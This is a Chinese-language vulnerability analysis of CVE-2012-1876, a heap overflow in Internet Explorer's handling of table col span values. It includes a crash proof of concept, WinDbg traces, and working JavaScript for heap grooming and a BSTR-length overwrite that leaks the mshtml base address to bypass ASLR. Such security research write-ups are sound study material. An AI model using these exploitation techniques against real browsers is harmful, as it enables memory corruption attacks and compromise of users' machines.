CVE-2012-1876

概述:

CVE-2012-1876是法国安全团队Vupen在Pwn2Own2012上攻破Win7下IE9的两个漏洞之一,利用了

标签生成时的堆溢出漏洞,Vupen利用这个漏洞进行信息泄漏绕过ASLR并且成功攻下了IE9,其构造exploit的手法是绕过ASLR的教课书级别的利用。

笔者在调试和漏洞分析参考了《漏洞战争》和sakura师傅的文章,很多细节都有大佬做过详细的分析,我单纯的做复读机没有很大意义,所以对漏洞本身仅做浅层的分析。

而漏洞是一个比##较适合研究ASLR绕过的一个案例,从很多漏洞案例中一眼相中这个漏洞,接下里我会从对poc的调试,到着手从利用方面考虑如何绕过ASLR。

分析环境

程序 软件版本
WIN7 SP1(x86)
IE8 8.0.7601.17514

使用HeapPage分析漏洞

我们使用windbg附加调试POC,开启页堆前,程序并不会崩溃。和我们上一个UAF一样,我们使用gflag打开HPA。

POC代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<body>
 <table style="table-layout:fixed" >
​ <col id="132" width="41" span="1" > </col>
</table>
 <script>

function over_trigger() {
​ var obj_col = document.getElementById("132");
​ obj_col.width = "42765";
​ obj_col.span = 1000;
}

setTimeout("over_trigger();",1);

</script>
</body>
</html>

开启页堆之后,附加到IE浏览器上,IE浏览器触发crash。

使用kv回溯栈帧,发现在函数AdjustForCol+0x15触发崩溃的参数edi是通过上层函数传送到了esi。

对mshtml!CTableLayout::CalculateMinMax下断点,重新进行分析。该函数也是这次堆溢出漏洞的元凶。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
(b04.d6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=07111000 edi=07111018
eip=6a040a2f esp=049bbde8 ebp=049bbdf4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CTableColCalc::AdjustForCol+0x15:
6a040a2f 890f mov dword ptr [edi],ecx ds:0023:07111018=????????

0:005> kv
ChildEBP RetAddr Args to Child
049bbdf4 69eaf47a 00414114 049bc140 00000001 mshtml!CTableColCalc::AdjustForCol+0x15
049bbeac 69d1a6b8 00000001 049bc140 000003e8 mshtml!CTableLayout::CalculateMinMax+0x558
049bc0c8 69d10879 049bc140 049bc10c 00000001 mshtml!CTableLayout::CalculateLayout+0x276
049bc274 69e1566c 049bd8e8 049bc4a0 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720
049bc3ac 69e118f9 07b22ea8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8
049bc470 69e11646 07b22ea8 0001e848 0001e848 mshtml!CFlowLayout::MeasureSite+0x312
049bc4b8 69e119c1 08fa8f00 00000061 049bd8e8 mshtml!CFlowLayout::GetSiteWidth+0x156
049bc4f8 69e11f70 090a8fb0 07b22ea8 00000001 mshtml!CLSMeasurer::GetSiteWidth+0xce
049bc57c 6e96665d 092ceff8 049bc59c 049bc660 mshtml!CEmbeddedILSObj::Fmt+0x150
049bc60c 6e966399 08de2efc 00000000 07b30d20 msls31!ProcessOneRun+0x3e9 (FPO: [Non-Fpo])
049bc668 6e966252 08de2f18 0001f791 00000000 msls31!FetchAppendEscCore+0x18e (FPO: [Non-Fpo])
049bc6bc 6e9661c3 00000000 00000000 00000014 msls31!LsDestroyLine+0x47f (FPO: [Non-Fpo])
049bc744 6e96293f 00000007 0000493f 00000000 msls31!LsDestroyLine+0x9ff (FPO: [Non-Fpo])
049bc780 69e0f95e 00000001 00000007 0000493f msls31!LsCreateLine+0xcb (FPO: [Non-Fpo])
049bc8d0 69e20d1e 049bd8e8 00000007 090a8fc0 mshtml!CLSMeasurer::LSDoCreateLine+0x127
049bc974 69e21367 049bd1d8 0001e848 00000000 mshtml!CLSMeasurer::LSMeasure+0x34
049bc9bc 69e21223 00000000 0001f018 00000083 mshtml!CLSMeasurer::Measure+0x1e6
049bc9e0 69e22d7e 0001f018 00000083 08fa8f40 mshtml!CLSMeasurer::MeasureLine+0x1c
049bca90 69e2b89e 049bcfb0 092a2fd8 00000083 mshtml!CRecalcLinePtr::MeasureLine+0x46d
049bd298 69e2b1f1 049bd8e8 00000007 0000000e mshtml!CDisplay::RecalcLines+0x8bb

重新附加IE浏览器进行调试,发现该poc中,mshtml!CTableLayout::CalculateMinMax函数被调用两次。

第一次是poc创建 参数的时候,发生的调用。

第二次javascript修改这个col标签参数时,再次调用这个函数。

溢出正是发生在第二次调用。

通过逆向分析AdjustForCol,可以发现程序AdjustForCol仅起到数据复制的作用。

所以需要继续回溯栈帧,分析外部函数CalculateMinMax。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0:005> u mshtml!CTableColCalc::AdjustForCol L50
mshtml!CTableColCalc::AdjustForCol:
6a040a1a 8bff mov edi,edi
6a040a1c 55 push ebp
6a040a1d 8bec mov ebp,esp
6a040a1f 8b08 mov ecx,dword ptr [eax]
6a040a21 53 push ebx
6a040a22 8b5d08 mov ebx,dword ptr [ebp+8]
6a040a25 57 push edi
6a040a26 8bc1 mov eax,ecx
6a040a28 83e00f and eax,0Fh
6a040a2b 8d7e18 lea edi,[esi+18h]
6a040a2e 50 push eax
6a040a2f 890f mov dword ptr [edi],ecx

第一次调用CalculateMinMax

CalculateMinMax是用于对Table对象解析的函数,将CTableLayout的地址(Table对象)放在ebx中。

在调用mshtml!CImplAry::EnsureSizeWorker函数之后,程序会申请了一块内存空间为0x70的堆空间。这块空间是用于存放width数据生成的参数的,也是之后我们用于堆溢出的对象,这里我们简称其为vulheap。

vulheap会被放在ebx(CTableLayout)+0x9c的位置。(dd ebx +0 x9c)

值得注意的是,第一次调用时,CTableColCalc::AdjustForCol仅被调用一次。

同时我们观察到span的值也等于1,此时程序向计算机申请了span*0x1c(但最少为0x70)的堆空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
0:005> u mshtml!CTableLayout::CalculateMinMax L80
mshtml!CTableLayout::CalculateMinMax:
6a7da078 8bff mov edi,edi
6a7da07a 55 push ebp
6a7da07b 8bec mov ebp,esp
6a7da07d 81ec98000000 sub esp,98h
6a7da083 53 push ebx
6a7da084 8b5d08 mov ebx,dword ptr [ebp+8] <--CTableLayout地址<--ebx
6a7da087 56 push esi
6a7da088 8b750c mov esi,dword ptr [ebp+0Ch]
6a7da08b 8b4628 mov eax,dword ptr [esi+28h]
6a7da08e 898570ffffff mov dword ptr [ebp-90h],eax
6a7da094 8b4354 mov eax,dword ptr [ebx+54h]
6a7da097 894508 mov dword ptr [ebp+8],eax

6a7da1a0 8b5508 mov edx,dword ptr [ebp+8]
6a7da1a3 8bc2 mov eax,edx
6a7da1a5 2bc1 sub eax,ecx
6a7da1a7 8945e4 mov dword ptr [ebp-1Ch],eax
6a7da1aa 6a00 push 0
6a7da1ac 58 pop eax
6a7da1ad 0f94c0 sete al
6a7da1b0 894b50 mov dword ptr [ebx+50h],ecx
6a7da1b3 c1e008 shl eax,8
6a7da1b6 334344 xor eax,dword ptr [ebx+44h]
6a7da1b9 2500010000 and eax,100h
6a7da1be 314344 xor dword ptr [ebx+44h],eax
6a7da1c1 f6462c01 test byte ptr [esi+2Ch],1
6a7da1c5 0f8559501900 jne mshtml!CTableLayout::CalculateMinMax+0x18a (6a96f224)
6a7da1cb 33c0 xor eax,eax
6a7da1cd 0945c8 or dword ptr [ebp-38h],eax
6a7da1d0 397d10 cmp dword ptr [ebp+10h],edi
6a7da1d3 0f855b501900 jne mshtml!CTableLayout::CalculateMinMax+0x19d (6a96f234)
6a7da1d9 8b8394000000 mov eax,dword ptr [ebx+94h]
6a7da1df c1e802 shr eax,2
6a7da1e2 3bc2 cmp eax,edx
6a7da1e4 7d39 jge mshtml!CTableLayout::CalculateMinMax+0x223 (6a7da21f)
6a7da1e6 3bd7 cmp edx,edi
6a7da1e8 8db390000000 lea esi,[ebx+90h] ;将CTableLayout偏移0x90
6a7da1ee 0f8c8632f0ff jl mshtml!CTableLayout::CalculateMinMax+0x203 (6a6dd47a)
6a7da1f4 3b5608 cmp edx,dword ptr [esi+8]
6a7da1f7 7613 jbe mshtml!CTableLayout::CalculateMinMax+0x210 (6a7da20c)
6a7da1f9 6a1c push 1Ch
6a7da1fb 8bc2 mov eax,edx
6a7da1fd 8bfe mov edi,esi
6a7da1ff e89a920c00 call mshtml!CImplAry::EnsureSizeWorker (6a8a349e);该函数执行结束,申请的内存0x70空间会被放在地址 [ebx+0x90+0xc],具体带代码需要一路逆向进入函数即可。

大概流程

1
mshtml!CTableLayout::CalculateMinMax-->mshtml!CImplAry::EnsureSizeWorker-->  mshtml!_HeapRealloc (6a88d7a5)->HeapRealloc

查看这块内存,就是刚才分配的0x70的内存,也是这个漏洞发生溢出的内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
0:005> !heap -p -a poi(ebx+0x9c)
address 09af9f90 found in
_DPH_HEAP_ROOT @ 1a1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
99834ac: 9af9f90 70 - 9af9000 2000
6eb88e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
778c5e26 ntdll!RtlDebugAllocateHeap+0x00000030
7788a376 ntdll!RtlpAllocateHeap+0x000000c4
77855ae0 ntdll!RtlAllocateHeap+0x0000023a


0:005> dd ebx+0x54 <-- spannum
0a3acefc 00000001 ffffffff ffffffff ffffffff
0a3acf0c ffffffff 6a6da594 00000004 00000004
0a3acf1c 0b044ff0 6a6da594 00000004 00000004
0a3acf2c 07ff3ff0 00000000 00000000 6a6da594

0:005> dd ebx+0x9c <--vulheap
0a3acf44 09af9f90 00000000 00000000 00000000
0a3acf54 00000000 00000000 00000000 00000000
0a3acf64 00000000 000000c8 000000c8 00000000
0a3acf74 00000000 00000000 00000000 00000000

0:005> dd ebx+0x94 <--spancmp
0a3acf3c 00000004 00000004 09af9f90 00000000
0a3acf4c 00000000 00000000 00000000 00000000
0a3acf5c 00000000 00000000 00000000 000000c8
0a3acf6c 000000c8 00000000 00000000 00000000

第二次调用CalculateMinMax

首先对CTableCol::GetAAspan下断点,使用gu命令运行到该函数结束。返回值eax=0x3E8(即1000)已是最大值。

1
2
3
4
5
6
7
8
0:005> gu
eax=000003e8 ebx=0abccea8 ecx=00000002 edx=0a8dcff0 esi=0a0f0fac edi=0aa92fd0
eip=6a96f31f esp=04afb960 ebp=04afba04 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTableLayout::CalculateMinMax+0x3ac:
6a96f31f 3de8030000 cmp eax,3E8h
6a96f31a e8acb3deff call mshtml!CTableCol::GetAAspan (6a75a6cb)
6a96f31f 3de8030000 cmp eax,3E8h

接下来分析CTableColCalc::AdjustForCol函数,该函数会被调用多次,不断向esi指向的内存(vulheap)写入数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
mshtml!CTableColCalc::AdjustForCol:
6ab00a1a 8bff mov edi,edi
6ab00a1c 55 push ebp
6ab00a1d 8bec mov ebp,esp
6ab00a1f 8b08 mov ecx,dword ptr [eax]
6ab00a21 53 push ebx
6ab00a22 8b5d08 mov ebx,dword ptr [ebp+8] <--获取参数
6ab00a25 57 push edi
6ab00a26 8bc1 mov eax,ecx
6ab00a28 83e00f and eax,0Fh
6ab00a2b 8d7e18 lea edi,[esi+18h]
6ab00a2e 50 push eax
6ab00a2f 890f mov dword ptr [edi],ecx <--触发crash的位置
6ab00a31 e8d3c3daff call mshtml!CUnitValue::IsScalerUnit (6a8ace09)
6ab00a36 85c0 test eax,eax
6ab00a38 7411 je mshtml!CTableColCalc::AdjustForCol+0x31 (6ab00a4b)
6ab00a3a 6a08 push 8
6ab00a3c 57 push edi
6ab00a3d 8bc3 mov eax,ebx
6ab00a3f e83dacbdff call mshtml!CUnitValue::SetValue (6a6db681)
6ab00a44 895e04 mov dword ptr [esi+4],ebx<--将数据写入vulheap
6ab00a47 891e mov dword ptr [esi],ebx <--将数据写入vulheap


0:005> t
eax=0a2acf80 ebx=0abccea8 ecx=0000001c edx=00004141 esi=0a0f0fac edi=00000001
eip=6ab00a1a esp=04afb950 ebp=04afba04 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CTableColCalc::AdjustForCol:
6ab00a1a 8bff mov edi,edi

这块内存的大小为0x70,也就是上一次调用时,申请的vulheap。

这次程序的span值改变了,但是vulheap的大小没有变化。

当写入span*0x1c长度的值时,发生堆溢出。

1
2
3
4
5
0:005> !heap -p -a 0a0f0fac(esi)
​ address 0a0f0fac found in
​ _DPH_HEAP_ROOT @ 251000
​ in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
​ a0e1ac4: a0f0f90 70 - a0f0000 2000

执行结束一次AdjustForCol之后程序会将ebp-14地址的值增加1并且与ebp+10(0x3e8)比较,如果小于便会向前跳转,重新执行AdjustForCol ,直到0x3e8次。

1
2
3
4
5
6
6a96f475 e8a0151900      call    mshtml!CTableColCalc::AdjustForCol (6ab00a1a)
6a96f47a ff45ec inc dword ptr [ebp-14h]
6a96f47d 8b45ec mov eax,dword ptr [ebp-14h]
6a96f480 8345dc1c add dword ptr [ebp-24h],1Ch
6a96f484 3b4510 cmp eax,dword ptr [ebp+10h] ss:0023:04aabcf4=000003e8
6a96f487 7caf jl mshtml!CTableLayout::CalculateMinMax+0x516 (6a96f438)

当不断重复写,esi的值会循环递增。当esi指向地址超过范围的地址,因为开启了页堆选项,程序就会crash。

1
2
3
4
5
6
7
8
9
0:005> dd esi
0ad24fac c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 <--vulheap
0ad24fbc c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0ad24fcc c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0ad24fdc c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0ad24fec c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0
0ad24ffc c0c0c0c0 ???????? ???????? ????????
0ad2500c ???????? ???????? ???????? ????????
0ad2501c ???????? ???????? ???????? ????????
1
2
3
4
0:005> dd esi-0x20
0ad24fe0 04141148 00414114 00414114 00414114
0ad24ff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 04141148
0ad25000 ???????? ???????? ???????? ???????? <-- 越界crash

就如同第一次crash那样,程序访问了edi(esi+0x18)访问了超过这个堆的空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
mshtml!CTableColCalc::AdjustForCol:
6ab00a1a 8bff mov edi,edi
6ab00a1c 55 push ebp
6ab00a1d 8bec mov ebp,esp
6ab00a1f 8b08 mov ecx,dword ptr [eax]
6ab00a21 53 push ebx
6ab00a22 8b5d08 mov ebx,dword ptr [ebp+8]
6ab00a25 57 push edi
6ab00a26 8bc1 mov eax,ecx
6ab00a28 83e00f and eax,0Fh
6ab00a2b 8d7e18 lea edi,[esi+18h]
6ab00a2e 50 push eax
6ab00a2f 890f mov dword ptr [edi],ecx ds:0023:0ad25018=????????

堆溢出总结

漏洞利用浏览器对table对象中col标签的解析所产生的堆漏洞。

1
<table style="table-layout:fixed" ><col id="132" width="41" span="1" >  </col></table>

漏洞函数CTableLayout::CalculateMinMax原型

1
2
3
void __thiscall CTableLayout::CalculateMinMax(
​ CTableLayout* theTableLayoutObj,
​ LPVOID lpUnknownStackBuffer )

当Table表第一次创建时,向计算机申请了span*0x1c(但最少为0x70)的堆空间。

但当使用javascript修改这个对象的span值,程序不会申请更大的内存空间,而是会向原本只有0x70的空间写入span*0x1c的数据,造成堆溢出。

发生堆溢出的vulheap位于漏洞函数CalculateMinMax的ebx+0x9c位置

复制的数据来源是width的值(需要分析AdjustForCol函数),具体算法没有分析但当width=41,传递的值为41*100=0x1004。

如何利用

国外著名安全组织VUPEN的对该漏洞的利用方式是通过构造一连串的padding(BSTR字符串,0x100),来申请堆空间,然后通过堆溢出来读取/修改虚函数表。

1.泄漏地址部分

通过覆写BSTR字符串的前四个字节,修改其长度,再通过javascript读取,就能读取到后方的CButtonLayout对象的虚函数表内容。而CButtonLayout的虚函数表于其模块mshtml的偏移地址是固定的,能够帮助我们泄漏Mshtml基地址。

2.利用部分

再次溢出,修改CButtonLayout表的虚函数表指针。结合HeapSpray(heap-feng-shui)和ROP绕过DEP。

img

BSTR结构详解

exploit关键代码

首先创建大量的连续内存,大小为0x100的BSTR结构。

然后将EEEE填充的部分释放(通过垃圾回收函数CollectGarbage)

然后创建

对象,占坑被释放的空间。

col属性span=9,则会分配9*0x1c=0xfc,占坑之前被释放的0x100大小的空间。

形成上方的结构图。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<div id="evil"></div>
<script language='javascript'>
​ var leak_index = -1;
​ var dap = "EEEE";
​ while ( dap.length < 480 ) dap += dap;

​ var padding = "AAAA";
​ while ( padding.length < 480 ) padding += padding;

​ var filler = "BBBB";
​ while ( filler.length < 480 ) filler += filler;

​ var arr = new Array();
​ var rra = new Array();

​ var div_container = document.getElementById("evil");
​ div_container.style.cssText = "display:none";
​ //1.布局堆块内存
​ for (var i=0; i < 500; i+=2) {
​ // E
​ rra[i] = dap.substring(0, (0x100-6)/2);
​ // S, bstr = A
​ arr[i] = padding.substring(0, (0x100-6)/2);
​ // A, bstr = B
​ arr[i+1] = filler.substring(0, (0x100-6)/2);
​ // B
​ var obj = document.createElement("button");
​ div_container.appendChild(obj);
}

​ for (var i=200; i<500; i+=2 ) {
​ rra[i] = null;
​ CollectGarbage();
​ }

Math.cos(3,2)
</script>

<table style="table-layout:fixed" ><col id="1" width="41" span="9" > </col></table>
<table style="table-layout:fixed" ><col id="2" width="41" span="9" > </col></table>
<table style="table-layout:fixed" ><col id="3" width="41" span="9" > </col></table>

堆布局完成之后,修改span值,发生堆溢出。

因为笔者对jscript5引擎的逆向不够熟悉,不太清楚如何在substring的时候获取字符串的内存空间。所以断点如下(参考漏洞战争)

1
bu mshtml!CTableLayout::CalculateMinMax+0x208 ".echo vulheap;dd poi(ebx+0x9c) l4;g"

也就是mshtml!CImplAry::EnsureSizeWorker (6b84349e)函数刚执行结束之后(可以使用gu命令),此时ebx+0x9c存放的是vulheap的地址。

记录日志.logopen /t c:\logs\mylogfile.txt,输出所有的vulheap(windbg里看实在不方便)

[溢出前]vulheap内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
0:005> dc poi(ebx+0x9c) L200
050051f0 0000035c 00450045 00450045 00450045 \...E.E.E.E.E.E. <--BSTR(Free) <--vulheap(Now)
05005200 00450045 00450045 00450045 00450045 E.E.E.E.E.E.E.E.
05005210 00450045 00450045 00450045 00450045 E.E.E.E.E.E.E.E.
05005220 00450045 00450045 00450045 00450045 E.E.E.E.E.E.E.E.
05005230 00450045 00450045 00450045 00450045 E.E.E.E.E.E.E.E.
05005240 00450045 00450045 00450045 00450045 E.E.E.E.E.E.E.E.
05005250 00450045 00450045 00450045 00450045 E.E.E.E.E.E.E.E.
05005260 00450045 00450045 00450045 00450045 E.E.E.E.E.E.E.E.
05005270 00450045 00450045 00450045 00450045 E.E.E.E.E.E.E.E.
05005280 00450045 00450045 00450045 00450045 E.E.E.E.E.E.E.E.
05005290 00450045 00450045 00450045 00450045 E.E.E.E.E.E.E.E.
050052a0 00450045 00450045 00450045 00450045 E.E.E.E.E.E.E.E.
050052b0 00450045 00450045 00450045 00450045 E.E.E.E.E.E.E.E.
050052c0 00450045 00450045 00450045 00450045 E.E.E.E.E.E.E.E.
050052d0 00450045 00450045 00450045 00450045 E.E.E.E.E.E.E.E.
050052e0 00450045 00450045 00450045 00000045 E.E.E.E.E.E.E...
050052f0 4ce3dd2d 88000000 000000fa 00410041 -..L........A.A. <--BSTR
05005300 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
05005310 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
05005320 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
05005330 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
05005340 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
05005350 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
05005360 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
05005370 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
05005380 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
05005390 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
050053a0 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
050053b0 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
050053c0 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
050053d0 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
050053e0 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
050053f0 00410041 00000041 4ce3dd0c 88000000 A.A.A......L....
05005400 000000fa<-- length 00420042 00420042 00420042 ....B.B.B.B.B.B. <--BSTR(Free)
05005410 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
05005420 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
05005430 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
05005440 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
05005450 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
05005460 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
05005470 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
05005480 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
05005490 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
050054a0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
050054b0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
050054c0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
050054d0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
050054e0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
050054f0 00420042 00420042 00420042 00000042 B.B.B.B.B.B.B...
05005500 4ce3ddd3 8c000000 6b7c84f8<--vrftable 004b2c90 ...L......|k.,K. <--ButtonLayout
05005510 05026808 6b7c8690 <--vftable 00000001 00000000 .h....|k........
05005520 01080809 ffffffff 00000000 00000000 ................
05005530 00000000 ffffffff 00000080 ffffffff ................
05005540 00000000 00000000 00000000 00000000 ................
05005550 00000000 00000024 00000020 00000000 ....$... .......
05005560 00000000 00000000 00000000 00000000 ................
05005570 00000000 00000000 00000000 00000000 ................
05005580 00000000 00000000 00000000 00000000 ................
05005590 00000000 00000000 00000000 050055b8 .............U..
050055a0 00000000 00000000 00000000 00000000 ................
050055b0 00000001 00000001 00000000 00000000 ................
050055c0 00000000 00000000 00000000 00000000 ................
050055d0 ffffffff ffffffff ffffffff ffffffff ................

找到了两个虚函数表的位置

1
2
3
4
5
6
7
8
9
0:014> ln 6b7c84f8
(6b7c84f8) mshtml!CButtonLayout::`vftable' | (6b7c8690) mshtml!CButtonLayout::`vftable'
Exact matches:
​ mshtml!CButtonLayout::`vftable' = <no type information>

0:014> ln 6b7c8690
(6b7c8690) mshtml!CButtonLayout::`vftable' | (6b7c8738) mshtml!CObjectImageLayout::`vftable'
Exact matches:
​ mshtml!CButtonLayout::`vftable' = <no type information>

泄漏地址

只需要覆盖0x214的长度,就能覆盖BSTR(“BBBB”)的长度。而0x214=19*0x1c,所以将col的span参数修改为19,写入的数据正好能够覆盖到BSTR的头部。

填写的内容之前

1
2
var evil_col = document.getElementById("132");  
evil_col.span = "19";

我们选择修改也就是最后一个

元素(id=132),输出log之后找到最后一个vulheap(对应id=‘132’的col元素),查看其内存空间。BSTR的头部已经被覆盖为了00010048,于是获得一个越界读取的能力。
[溢出后]vulheap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
0:016> dc 005258c0 L100
005258c0 00001004 00001004 00001004 00000000 ................ <--vulheap
005258d0 00450045 00450041 00010048 00001004 E.E.A.E.H.......
005258e0 00001004 00001004 00000000 00450045 ............E.E.
005258f0 00450041 00010048 00001004 00001004 A.E.H...........
00525900 00001004 00000000 00450045 00450041 ........E.E.A.E.
00525910 00010048 00001004 00001004 00001004 H...............
00525920 00000000 00450045 00450041 00010048 ....E.E.A.E.H...
00525930 00001004 00001004 00001004 00000000 ................
00525940 00450045 00450041 00010048 00001004 E.E.A.E.H.......
00525950 00001004 00001004 00000000 00450045 ............E.E.
00525960 00450041 00010048 00001004 00001004 A.E.H...........
00525970 00001004 00000000 00450045 00450041 ........E.E.A.E.
00525980 00010048 00001004 00001004 00001004 H...............
00525990 00000000 00450045 00450041 00010048 ....E.E.A.E.H...
005259a0 00001004 00001004 00001004 00000000 ................
005259b0 00450045 00450041 00010048 00001004 E.E.A.E.H.......
005259c0 00001004 00001004 000000fa 00410041 ............A.A.
005259d0 00410041 00010048 00001004 00001004 A.A.H...........
005259e0 00001004 00410041 00410041 00410041 ....A.A.A.A.A.A.
005259f0 00010048 00001004 00001004 00001004 H...............
00525a00 00410041 00410041 00410041 00010048 A.A.A.A.A.A.H...
00525a10 00001004 00001004 00001004 00410041 ............A.A.
00525a20 00410041 00410041 00010048 00001004 A.A.A.A.H.......
00525a30 00001004 00001004 00410041 00410041 ........A.A.A.A.
00525a40 00410041 00010048 00001004 00001004 A.A.H...........
00525a50 00001004 00410041 00410041 00410041 ....A.A.A.A.A.A.
00525a60 00010048 00001004 00001004 00001004 H...............
00525a70 00410041 00410041 00410041 00010048 A.A.A.A.A.A.H...
00525a80 00001004 00001004 00001004 00410041 ............A.A.
00525a90 00410041 00410041 00010048 00001004 A.A.A.A.H.......
00525aa0 00001004 00001004 00410041 00410041 ........A.A.A.A.
00525ab0 00410041 00010048 00001004 00001004 A.A.H...........
00525ac0 00001004 00000041 3ae939d2 88000000 ....A....9.:....
00525ad0 00010048<--length 00420042 00420042 00420042 H...B.B.B.B.B.B. <--BSTR
00525ae0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525af0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b00 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b10 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b20 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b30 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b40 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b50 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b60 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b70 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b80 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525b90 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525ba0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525bb0 00420042 00420042 00420042 00420042 B.B.B.B.B.B.B.B.
00525bc0 00420042 00420042 00420042 00000042 B.B.B.B.B.B.B...
00525bd0 3ae939f1 8c000000 6b7c84f8 004dff88<--vrftable .9.:......|k..M.
00525be0 04fefb30 6b7c8690 <--vrftable 00000001 00000000 0.....|k........
00525bf0 01080809 ffffffff 00000000 00000000 ................
00525c00 00000000 ffffffff 00000080 ffffffff ................

还记得之前调试时候发现存在两个虚函数表,具体原因未知,不过只要分别计算偏移即可。

1
x mshtml!CButtonLayout::`vftable'可以动态查找虚函数表的地址

使用如下代码将虚函数表地址提取出来,根据偏移地址001584f8计算出mshtml基地址为0x6b670000.

到这里,我们已经完成了地址泄漏,接下来只需要注意使用mshtml自身对gadgets,那么ASLR对我们也就形同虚设了。

img)img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<script language='javascript'>  
Math.sin(2,1)
var evil_col = document.getElementById("132");
//var evil_col = document.getElementById("1");
evil_col.span = "19";

var leak_addr=-1;
for(var i = 0;i<500;i++){
//提取虚函数表地址
if(arr[i].length>(0x100-6)/2){
leak_index=i;
var leak=arr[i].substring((0x100-6)/2+(2+8)/2,(0x100-6)/2+(2+8+4)/2);
leak_addr = parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16),16);
alert(leak_addr.toString(16));
leak_addr=leak_addr-Number(0x001584f8);
alert(leak_addr.toString(16));
break;
}
}
</script>

Q:
肯定有读者有疑问,为什么要创建那么多table对象,而不只使用一个对象,然后溢出获得虚函数表。

A:
这个问题笔者也做了一个实验,在WIN7+IE8环境下,将

只保留第一个,让js对该对象进行修改,将这个exp精简得非常短小,居然也能有非常高的成功率。
应该是因为这是笔者的实验环境是IE8,而当时PWN2OWN的环境是IE9,其内存保护机制更为复杂,所以采用了较大数量的
保证成功率。

PS:精简版的exploit可以在附录中找到。

